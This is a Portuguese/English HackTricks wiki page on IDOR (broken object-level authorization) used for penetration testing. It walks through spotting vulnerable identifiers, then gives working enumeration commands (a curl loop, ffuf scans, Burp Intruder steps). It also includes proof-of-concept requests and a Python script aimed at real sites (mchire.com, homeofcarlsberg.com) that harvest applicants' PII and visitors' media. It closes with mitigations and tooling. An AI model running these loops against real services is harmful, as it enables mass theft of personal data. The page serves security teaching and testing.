IDOR (Insecure Direct Object Reference)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) ocorre quando um endpoint web ou API revela ou aceita um identificador controlável pelo usuário que é usado diretamente para acessar um objeto interno sem verificar se o chamador está autorizado a acessar/modificar esse objeto. Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration.
1. Identificando Potenciais IDORs
- Procure por parâmetros que fazem referência a um objeto:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Prefira endpoints que leem ou atualizam dados (
GET,PUT,PATCH,DELETE). - Observe quando identificadores são sequenciais ou previsíveis – se seu ID é
64185742, então64185741provavelmente existe. - Explore fluxos ocultos ou alternativos (por exemplo, o link “Paradox team members” em páginas de login) que possam expor APIs extras.
- Use uma sessão autenticada de baixo privilégio e altere apenas o ID mantendo o mesmo token/cookie. A ausência de um erro de autorização geralmente é um sinal de IDOR.
Manipulação manual rápida (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Enumeração automatizada (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerando IDs de download previsíveis (ffuf)
Authenticated file-hosting panels frequentemente armazenam metadados por usuário em uma única tabela files e expõem um endpoint de download como /download.php?id=<int>. Se o handler apenas verifica se o ID existe (e não se pertence ao usuário autenticado), você pode varrer o espaço de inteiros com seu session cookie válido e roubar backups/configs de outros tenants:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frremove templates estilo 404 para que apenas true hits permaneçam (e.g., IDs 54/150 leaking full site backups and signing material).- O mesmo workflow do FFUF funciona com Burp Intruder ou um curl loop — apenas garanta que você permaneça authenticated enquanto incrementa os IDs.
Error-response oracle for user/file enumeration
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:
- Non-existent username → “User not found”
- Bad filename but valid extension → “File does not exist” (sometimes also lists available files)
- Bad extension → validation error
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the “user not found” string to discover valid users:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Uma vez que nomes de usuário válidos são identificados, solicite arquivos específicos diretamente (por exemplo, /view.php?username=amanda&file=privacy.odt). Esse padrão frequentemente leva à divulgação não autorizada de documentos de outros usuários e ao vazamento de credenciais.
2. Estudo de Caso do Mundo Real – McHire Chatbot Platform (2025)
Durante uma avaliação do portal de recrutamento Paradox.ai-powered McHire foi descoberta a seguinte IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}– 8-digit, sequential numeric identifier
Ao diminuir lead_id, o testador recuperou o PII completo de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno), além de um JWT do consumidor que permitiu session hijacking. A enumeração do intervalo 1 – 64,185,742 expôs aproximadamente 64 milhões registros.
Requisição de Prova de Conceito:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combinada com as default admin credentials (123456:123456) que concederam acesso à conta de teste, a vulnerabilidade resultou em um critical, company-wide data breach.
Estudo de Caso – Pulseiras com QR codes como bearer tokens fracos (2025–2026)
Fluxo: Visitantes da exposição receberam pulseiras com QR codes; ao escanear https://homeofcarlsberg.com/memories/ o navegador pegava o printed wristband ID, hex-encodificava-o e chamava um backend cloudfunctions.net para buscar mídia armazenada (fotos/vídeos + nomes). Não havia no session binding nem autenticação de usuário—knowledge of the ID = authorization.
Previsibilidade: Wristband IDs seguiam um padrão curto como C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). O espaço foi estimado em ~26M combinações, trivial de esgotar online.
Fluxo de exploração com Burp Intruder:
- Payload generation: Build candidate IDs (e.g.,
[A-Z]-###-###). Use a Burp Intruder Pitchfork or Cluster Bomb attack with positions for the letter and digits. Add a payload processing rule → Add prefix/suffix → payload encoding: ASCII hex so each request transmits the hex string expected by the backend. - Response grep: Mark Intruder grep-match for markers present only in valid responses (e.g., media URLs/JSON fields). Invalid IDs typically returned an empty array/404.
- Throughput measurement: ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). At that rate the full keyspace (~26M) would fall in ~52 hours. The sample run already exposed ~500 valid wristbands (videos + full names).
- Rate-limiting verification: After the vendor claimed throttling, rerun the same Intruder config. Identical throughput/hit-rate proved the control was absent/ineffective; enumeration continued unhindered.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lesson: Encoding (ASCII→hex/Base64) não adiciona entropia; IDs curtos se tornam bearer tokens que são enumeráveis apesar da codificação cosmética. Sem autorização por usuário + segredos de alta entropia, media/PII pode ser coletada em massa mesmo que “rate limiting” seja alegado.
3. Impact of IDOR / BOLA
- Escalonamento horizontal – ler/atualizar/excluir os dados de outros usuários.
- Escalonamento vertical – usuário com baixo privilégio ganha funcionalidades restritas a admins.
- Violação massiva de dados se os identificadores forem sequenciais (ex.: applicant IDs, invoices).
- Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.
4. Mitigations & Best Practices
- Enforce object-level authorization em toda requisição (
user_id == session.user). - Preferir indirect, unguessable identifiers (UUIDv4, ULID) em vez de IDs auto-incrementais.
- Efetuar autorização server-side, nunca confiar em campos de formulário ocultos ou controles de UI.
- Implementar verificações RBAC / ABAC em um middleware central.
- Adicionar rate-limiting & logging para detectar enumeração de IDs.
- Testar segurança de todo novo endpoint (unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


